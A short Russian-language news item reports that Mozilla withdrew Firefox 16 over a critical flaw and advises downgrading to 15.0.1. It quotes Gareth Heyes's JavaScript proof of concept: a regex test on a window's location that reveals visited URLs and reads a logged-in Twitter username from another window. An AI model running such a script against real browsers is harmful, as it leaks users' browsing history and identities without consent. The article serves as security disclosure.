Вчера вечером Mozilla временно убрала с официального сайта свежевышедший дистрибутив Firefox 16 из-за обнаруженной критической уязвимости. Разработчики сейчас активно работают над устранением бага и обещают сегодня в течение дня выпустить обновлённую версию. Вероятно, номер версии будет 16.0.1 или 16.1.
Версия Firefox 15 не подвержена уязвимости, так что пользователям Firefox, которые не успели обновиться, не о чем волноваться. Те же, кто успел установить свежую версию, попали в неприятную ситуацию. Теперь им придётся либо устанавливать обратно предыдущий релиз, то есть делать даунгрейд, либо временно перейти на другой браузер, либо работать в уязвимой системе на свой страх и риск.
Если кому интересно, информацию об уязвимости опубликовал вчера хакер Гарет Хейс (Gareth Heyes), он выложил подробное описание уязвимости вместе с работающим эксплойтом.
Ошибка в браузере связана с некорректным преобразованием в строковый тип. Например, после преобразования такой строки значение undefined
в скрипте вернёт true
.
/undefined/.test(undefined)//true
Соответственно, можно делать разные вещи вроде скрытых фреймов:
/businessinfo\.co\.uk/.test(document.getElementById(‘x’).contentWindow.location)
Уязвимость позволяет вредоносному сайту получить от браузера список веб-страниц, которые раньше посещал пользователь. Сайт имеет доступ к URL и параметрам URL в браузере, то есть злоумышленник может совершать и другие несанкционированные действия как бы из браузера пользователя. Например, если у него в другой вкладке открыт Twitter или Facebook, можно посмотреть имя пользователя.
Код для проверки имени пользователя Twitter:
function poc() {
var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
Mozilla рекомендует пользователям Firefox 16 временно установить обратно Firefox 15.0.1, пока они не устранят уязвимость.